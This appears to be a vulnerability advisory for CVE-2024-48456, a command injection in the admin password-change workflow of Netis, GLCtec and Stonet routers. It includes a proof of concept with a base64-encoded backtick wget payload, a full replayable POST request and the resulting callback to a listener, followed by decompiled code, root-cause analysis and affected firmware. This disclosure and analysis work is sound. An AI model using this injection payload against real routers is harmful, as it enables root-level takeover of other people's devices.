Overview
CVE-2024-48456 is an authenticated blind OS command injection vulnerability in the administrative password-change workflow of multiple Netis routers and rebranded devices from GLCtec and Stonet. User-controlled password values ultimately reach a shell command used to update the router’s underlying root password.
The vulnerability is particularly significant as part of the three-CVE Netis chain: CVE-2024-48455 can identify a vulnerable target without authentication, CVE-2024-48457 can reset the administrator password, and CVE-2024-48456 can then execute operating-system commands.
Attack prerequisites
Exploitation of CVE-2024-48456 by itself requires access to the router administration interface with valid administrator credentials. The related CVE-2024-48457 can remove that prerequisite when the vulnerabilities are chained.
Proof of concept
- Sign in to the router administration interface.
- Navigate to Tools → Admin Password.
- Capture the password-change POST request.
- Base64-encode a command such as
`wget http://192.168.1.2`. - Place the encoded value in the
passwordandnew_pwd_confirmparameters. - Start an HTTP listener on the testing system.
- Replay the modified request and observe the callback.
# echo -n '`wget http://192.168.1.2`'|base64
YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA==
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
POST Request
POST /cgi-bin/skk_set.cgi HTTP/1.1
Host: 192.168.1.1
Cookie: password=SWwwdmVoYWNraW5n
Content-Length: 167
Sec-Ch-Ua: "Not;A=Brand";v="24", "Chromium";v="128"
Accept: text/plain, */*; q=0.01
Sec-Ch-Ua-Platform: "Linux"
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://192.168.1.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.1/password.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: keep-alive
password=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&new_pwd_confirm=YHdnZXQgaHR0cDovLzE5Mi4xNjguMS4yYA%3D%3D&passwd_set=passwd_set&mode_name=skk_set&app=passwd&wl_link=0
Response
HTTP/1.1 200 OK
Date: Sun, 01 Jan 2023 00:13:24 GMT
Server: Boa/0.94.14rc21
Connection: close
["SUCCESS"]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.1.1 - - [27/Dec/2024 17:55:56] "GET / HTTP/1.1" 200 -
Technical analysis
The router web application is implemented in the MIPS ELF binary /bin/netis.cgi. Decompiling this binary with Ghidra shows that the main program dispatches CGI handlers including skk_set.cgi, the endpoint used by the password-change request.
undefined4 main(undefined4 param_1,char **param_2)
{
bool bVar1;
size_t sVar2;
int iVar3;
char *pcVar4;
char *local_188;
int local_184;
int local_17c;
void *local_160;
char acStack_15c [256];
char cStack_5c;
char acStack_5b [63];
int local_1c;
char *local_18 [4];
local_160 = (void *)0x0;
memset(&cStack_5c,0,0x40);
local_1c = 0;
sVar2 = strlen(*param_2);
while (local_1c < (int)sVar2) {
memset(&cStack_5c,0,0x40);
iVar3 = local_1c;
FUN_0040670c((int)*param_2,'/',&local_1c);
strncpy(&cStack_5c,*param_2 + iVar3,local_1c - iVar3);
do {
local_1c = local_1c + 1;
} while ((*param_2)[local_1c] == '/');
}
local_188 = &cStack_5c;
bVar1 = false;
local_18[0] = "skk_set.cgi";
local_18[1] = "upload_config.cgi";
local_18[2] = "upload_fw.cgi";
local_18[3] = (char *)0x0;
local_17c = 0;
do {
if (local_18[local_17c] == (char *)0x0) {
LAB_00405408:
if (bVar1) {
iVar3 = open("/tmp/lock_all.lock",0x702,0x1b4);
if (iVar3 < 0) {
local_184 = FUN_004050fc();
if (local_184 < 0) {
local_184 = 0;
}
FUN_00405060(local_184);
if (2 < local_184) {
system("rm -rf /tmp/lock_all.lock");
FUN_00405060(0);
}
printf("[\"LOCK\"]");
return 0;
}
close(iVar3);
}
apmib_init();
FUN_00422c38(&local_160,param_2[1]);
DAT_00440d40 = FUN_00405190();
if (local_188 == (char *)0x0) {
iVar3 = access("/tmp/lock_all.lock",0);
if (iVar3 == 0) {
system("rm -rf /tmp/lock_all.lock");
}
FUN_004214cc(&local_160);
printf("[\"%d\"]",999);
}
else {
pcVar4 = strstr(local_188,".cgi");
if (pcVar4 != (char *)0x0) {
pcVar4 = strchr(local_188,0x2f);
if (pcVar4 != (char *)0x0) {
local_188 = acStack_5b;
}
FUN_00405764(local_188,&local_160,acStack_15c);
}
fflush(stdout);
FUN_004214cc(&local_160);
iVar3 = access("/tmp/lock_all.lock",0);
if (iVar3 == 0) {
system("rm -rf /tmp/lock_all.lock");
}
FUN_00405060(0);
}
return 0;
}
iVar3 = strcmp(local_188,local_18[local_17c]);
if (iVar3 == 0) {
bVar1 = true;
goto LAB_00405408;
}
local_17c = local_17c + 1;
} while( true );
}
Tracing password-related references in Ghidra identifies the ex_password symbol, which points to /bin/script/password.sh:
ex_password XREF[2]: Entry Point(*),
FUN_0041301c:00413180(*)
0043be44 2f 62 69 ds "/bin/script/password.sh"
6e 2f 73
63 72 69
The surrounding function invokes this component through FUN_00402e00("%s > /dev/console", ex_password, ...):
undefined4 FUN_0041301c(undefined4 *param_1,undefined4 param_2,char *param_3,undefined4 param_4)
{
char *pcVar1;
byte *pbVar2;
byte abStack_8c [132];
pcVar1 = FUN_00405644(param_1,"usb3gEnabled");
if (pcVar1 != (char *)0x0) {
FUN_00405644(param_1,"usb3gPinCode");
param_3 = FUN_00405644(param_1,"usb3gApn");
param_4 = 0;
FUN_00412fe4();
FUN_00402e00("%s > /dev/console",ex_usbcontrol,param_3,param_4);
}
pbVar2 = (byte *)FUN_00405644(param_1,"ssid2g");
if (pbVar2 != (byte *)0x0) {
FUN_004030f4(abStack_8c,pbVar2);
strcpy((char *)(pMib + 0x42c1),(char *)abStack_8c);
}
FUN_00402e00("echo 0 > %s","/proc/http_redirect/enable",param_3,param_4);
memset(abStack_8c,0,0x80);
apmib_get(0x159,abStack_8c);
pcVar1 = "/proc/rtl_dnstrap/domain_name";
FUN_00402e00("echo \'%s\' > %s",abStack_8c,"/proc/rtl_dnstrap/domain_name",param_4);
FUN_00402e00("%s > /dev/console",ex_password,pcVar1,param_4);
FUN_00402e00("%s > /dev/console",param_2,pcVar1,param_4);
return 0;
}
Runtime process monitoring confirms that this path is executed when the password-change request is processed:
# while true; do ps|grep -e password.sh -e rtl -e http_redirect|grep -v grep;done
3518 root 1132 R /bin/sh -c echo 0 > /proc/http_redirect/enable
3520 root 1132 R /bin/sh -c echo 'netis.cc' > /proc/rtl_dnstrap/domain
3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console
3538 root 324 R /bin/script/password.sh
3531 root 1140 S /bin/sh -c /bin/script/password.sh > /dev/console
3538 root 1656 S /bin/script/password.sh
The process trace shows /bin/script/password.sh executing during the request. Despite the .sh extension, this file is itself a compiled MIPS ELF binary. Decompiling it and tracing password-related strings leads to the following code path:
s_Changed_Username_and_Password_.._0041dc80 XREF[1]: FUN_00409590:0040969c(*)
0041dc80 43 68 61 ds "Changed Username and Password ...........\n"
6e 67 65
64 20 55
The referenced function implements the password update and exposes two security-relevant behaviors:
void FUN_00409590(void)
{
undefined auStack_488 [64];
undefined auStack_448 [64];
undefined auStack_408 [1024];
memset(auStack_408,0,0x400);
memset(auStack_488,0,0x40);
memset(auStack_448,0,0x40);
apmib_get(0x15d,auStack_488);
apmib_get(0x15e,auStack_448);
RunSystemCmd("echo \"root::0:0:root:/:/bin/sh\" > /var/passwd");
RunSystemCmd("echo \"nobody:x:0:0:nobody:/:/dev/null\" >> /var/passwd");
RunSystemCmd("echo root:%s | chpasswd -m",auStack_448);
RunSystemCmd("echo \"root:x:0:root\" > /var/group");
RunSystemCmd("echo \"nobody:x:0:nobody\" >> /var/group");
RunSystemCmd("chmod 755 /var/passwd");
RunSystemCmd("chmod 755 /var/group");
fwrite("Changed Username and Password ...........\n",1,0x2a,stderr);
return;
}
Root cause
First, the web-administration password is propagated to the router’s operating-system root account. More importantly for CVE-2024-48456, the attacker-controlled password value represented by auStack_448 is interpolated into RunSystemCmd("echo root:%s | chpasswd -m", auStack_448). Shell metacharacters in that value can therefore alter the command line.
RunSystemCmd, provided by libapmib.so, formats the supplied string and executes it with the standard system() call:
void RunSystemCmd(char *param_1,undefined4 param_2,undefined4 param_3,undefined4 param_4)
{
undefined4 local_res4;
undefined4 local_res8;
undefined4 local_resc;
char acStack_118 [256];
undefined4 *local_18;
local_res4 = param_2;
local_res8 = param_3;
local_resc = param_4;
memset(acStack_118,0,0x100);
local_18 = &local_res4;
vsprintf(acStack_118,param_1,local_18);
system(acStack_118);
return;
}
Exploit chain
CVE-2024-48456 can be combined with CVE-2024-48455 and CVE-2024-48457 to remove the authentication prerequisite and obtain unauthenticated remote code execution. A Metasploit module was developed to automate this chain.
Impact
Successful exploitation executes arbitrary shell commands in the router’s privileged operating-system context. Because the administration password is tied to the root account, compromise of this workflow crosses directly from the web interface into system-level control.
Remediation
The archived research recorded no fix available at the time of publication. The following firmware images were confirmed vulnerable:
- netis_MW5360_V1.0.1.3031_fw.bin
- Netis_MW5360-1.0.1.3442.bin
- Netis_MW5360_RUSSIA_844.bin
- netis_NC21_V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=40)
- netis_NC63_V3.0.0.3327.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- netis_NC63_v4_Bangladesh-V3.0.0.3889.bin (https://www.netis-systems.com/support/downinfo.html?id=35)
- Netis_NC63-V3.0.0.3833.bin (https://www.netisru.com/support/downinfo.html?id=35)
- netis_app_BeeWiFi_NC63_v4_Bangladesh-V3.0.0.3503.bin
- netis_NC65_V3.0.0.3749.bin
- Netis_NC65_Bangladesh-V3.0.0.3508.bin (https://www.netis-systems.com/support/downinfo.html?id=34)
- Netis_NC65v2-V3.0.0.3800.bin (https://www.netisru.com/support/downinfo.html?id=34)
- netis_NX10_V2.0.1.3582_fw.bin
- netis_NX10_V2.0.1.3643.bin
- Netis_NX10_v1_Bangladesh-V3.0.0.4142.bin (https://www.netis-systems.com/support/downinfo.html?id=33)
- netis_NX10-V3.0.1.4205.bin (https://www.netisru.com/support/downinfo.html?id=33)
- netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3329.bin
- netis_app_BeeWiFi_NC21_v4_Bangladesh-V3.0.0.3500.bin
- Netis_NC21_v2_Bangladesh-V3.0.0.3854.bin (https://www.netis-systems.com/support/downinfo.html?id=40)
- GLC_ALPHA_AC3-V3.0.2.115.bin (https://drive.google.com/drive/folders/1P69yUfzeZeR6oABmIdcJ6fG57-Xjrzx6)
References
Credits
Discovery: h00die-gr3y.